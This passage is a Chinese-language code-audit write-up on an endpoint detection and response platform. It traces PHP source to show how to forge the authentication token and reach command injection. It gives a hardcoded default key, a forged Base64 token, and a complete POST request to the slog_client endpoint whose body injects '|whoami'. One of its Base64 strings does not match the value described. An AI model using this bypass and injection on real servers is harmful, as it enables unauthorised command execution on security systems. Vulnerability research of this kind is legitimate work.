/** * 从/etc/cssp_custom_image/os.json中获取指定值 * @param $key os.json中的键 * @return 返回指定键对应的值 */ function get_item_from_os_json($key){ $item = ""; $file_path = "/etc/cssp_custom_image/os.json"; if(file_exists($file_path)){ $os_json = get_json_from_file($file_path); if ($os_json === null) { ldb_error("target file is null"); return ""; } $item = $os_json[$key]; } return $item; }发现这里实际意义上就是将 $file_path = "/etc/cssp_custom_image/os.json"; 带入 get_json_from_file 函数,继续跟进这个函数 :
/** * 从文件读取一个json * @param conf_file 文件路径+文件名 * @return data_arry 返回一个关联数组 */ function get_json_from_file($conf_file){ if (!file_exists($conf_file)) { ldb_error("err:file null"); return null; } $json_string = file_get_contents($conf_file); $data_arry = json_decode($json_string, true); if (is_null($data_arry)) { ldb_error("get json from file failed"); return null; } return $data_arry; }该函数就是从文件中读取JSON,并转为数组返回,我们想要知道具体内容就要看下初始的 /etc/cssp_custom_image/os.json 文件内容,但笔者这里安装默认情况下该文件是不存在的 :
那在这里其返回的就是空,这时候我们再回到函数 check_access_token,其代码( 代码上文中已经列出 )逻辑当变量 $key 值为空并且 $req_url == STD_CSSP_DOWN_CONF_URL( define("STD_CSSP_DOWN_CONF_URL","/api/edr/sangforinter/v2/cssp/down_conf"); ) 的情况下变量 $key 值为常量 STD_CSSP_DEFAULT_KEY 的值,即: define("STD_CSSP_DEFAULT_KEY","amsPnhHqfN5Ld5FU");( 常量定义在 /bin/mapreduce/app/web/device_linkage/common/common.php 文件中 )。
但此处我们的变量 $req_url 为 /api/edr/sangforinter/v2/cssp/slog_client 并不符合逻辑条件,所以变量 $key 还是为空的。
那我们可以根据代码逻辑直接构建token值,首先是JSON内容有两个字段random、md5,还要满足字段md5的值等于md5(字段random)的值,所以我们要提前先设置字段random为1,随后进行md5加密并将结果赋予字段md5即可 :
{"random":"1", "md5":"c4ca4238a0b923820dcc509a6f75849b"}最后进行Base64编码 : eyJyYW5kb20iOiIxMjMiLCAibWQ1IjoiYWI0NzU2M2FjNmZiOWU1MTdiZTg4ODBjODdmNzc2NWYifQ==
至此我们就绕过了token校验限制。
逻辑梳理我们来梳理函数 get_interface_data 的逻辑,其通过函数 get_opr 反回值带入函数 get_app_name 获取具体代码路径,而后当HTTP请求类型为POST时获取请求正文( POST数据,如下函数 get_body_data,将请求正文的JSON转为数组 ),通过构建数组将数据填充进去,并返回该数组。( 简单梳理,具体请看代码 )
/** * @fun 根据协议body中的内容来构造data中的内容 * @param array $argv 输入的参数 * @return array $params 联动设备传来的body */ function get_body_data($argv){ $ini_file = getenv("EPS_INSTALL_ROOT") . "config/tenant.conf"; if(file_exists($ini_file)){ if (0 != strlen(ldb_post_json())) { $docker_data = ldb_get_post($argv); return $docker_data; } } $params = array(); if(0 != strlen(ldb_post_json())) { $params = ldb_get_post($argv); } return $params; }我们已经知道了函数 get_interface_data 的逻辑,再跟进调用其的函数 ldb_execute_app 即可。
ldb_execute_app 函数分析阅读过«对某终端检测响应平台权限绕过漏洞的审计流程»该分享的读者,大致就能理解这里函数的作用了:
/** * @func APP通用入口函数,将联动发来的信息转换成EDR通用的前后端接口 * @param array $args 输入的参数 */ function ldb_execute_app($args) { try { //构造成业务统一处理的接口 $interface_data = get_interface_data($args); // 检验请求信息是否包含注入关键字 $ignore_check = read_ignore_check_info(); if(mongo_injection_check($interface_data, $ignore_check) === TRUE) { response_linkage_dev_die_msg(ldb_get_lang(ARGV_CONTAIN_RISK), RESPONSE_ERROR); ldb_error("request argv contain mongodb risk keyword, argv=" . json_encode($interface_data)); return ; } //特殊开权限控制函数 special_auth($interface_data); //授权控制 authorize_check($interface_data); ldb_debug("interface_data is " . json_encode($interface_data)); $app = $interface_data["app_args"]["name"]; $constructor = ldb_mapreduce_invoke("get", $app); // 构建应用对象 $instance = call_user_func($constructor); $ret = call_user_func($instance->main, $instance, $interface_data); //响应出错返回相应的状态码 if ($ret) { $err_code = call_user_func($instance->res, $instance); response_linkage_dev_msg($err_code); } // 销毁应用对象 call_user_func($instance->destroy, $instance); } catch(Exception $e){ //通知联动设备 $err_msg = $e->getMessage(); response_linkage_dev_die_msg($err_msg, RESPONSE_ERROR); } } // 入口函数 $args = ldb_argv_get(); ldb_execute_app($args);ldb_execute_app 函数传入参数为变量 $args,该值通过函数 ldb_argv_get 获取,跟进发现就是获取的 URI 部分。
/** * 获取命令行参数 * @return array 返回命令行参数 */ function ldb_argv_get() { if (ldb_is_cli()) { global $argv; return $argv; } $args = array($_SERVER['PHP_SELF']); return $args; } 逻辑梳理与漏洞利用由于之前的步骤都是逆推,这里我们直接顺着推一遍流程就能理清整个思路了。
假设在此我们访问的是 /api/edr/sangforinter/v2/cssp/slog_client,那就是其传入函数 get_interface_data,由于需要过 check_token,所以访问地址需为 /api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0=。
而后通过函数 get_opr 得到了 exec_slog_action,再根据 exec_slog_action 获得了具体代码路径 app.web.device_linkage.process_cssp,最后根据 opr、app_name 以及 data( 这里的data需为POST请求方式时才有 )构造数组返回,这里测试就是GET请求,最后返回数据为:
array(2) { ["app_args"]=> array(1) { ["name"]=> string(35) "app.web.device_linkage.process_cssp" } ["opr"]=> string(16) "exec_slog_action" }变量 $interface_data 获取了函数 get_interface_data 的返回值,由于ldb_execute_app 函数代码很多,不过多赘述,有几处授权校验的函数,简单跟踪下看下注释就能了解CSSP请求不处理授权:
回调调用 app.web.device_linkage.process_cssp 的函数 main 传入变量 $instance、$interface_data( 函数 get_interface_data 的返回值 ),那我们跟进 main 函数,又是回调函数调用 exec_slog_action 并传入变量 $object、$params ( 函数 get_interface_data 的返回值 )。
这样无法造成命令执行,我们在之前 exec_slog_action 匿名函数分析 中了解到其要获取 $params['data']['params'] 带入命令执行语句中,由于我们测试的是GET请求,函数 get_interface_data 的返回值并没有 data['params'] 这个key,而刚好函数 get_interface_data 中的变量 $interface_data["data"] 会获取函数 get_body_data 处理请求正文的JSON内容转为数组的结果,所以我们修改请求方法为POST,请求正文为:{"params":"|whoami"},即可进行命令注入从而执行。
// {"params":"|whoami"}` -> array('params' => '|whoami') $interface_data["data"] = array('params' => '|whoami'); POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0= HTTP/1.1 Host: 192.168.31.136 Connection: close Content-Length: 20 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Content-Type: application/x-www-form-urlencoded Origin: https://192.168.31.136 Referer: https://192.168.31.136/ui/login.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 {"params":"|whoami"} 最后熟悉了解了整个流程之后,其实还有更多利用点可以挖掘~本文就不过多的赘述了。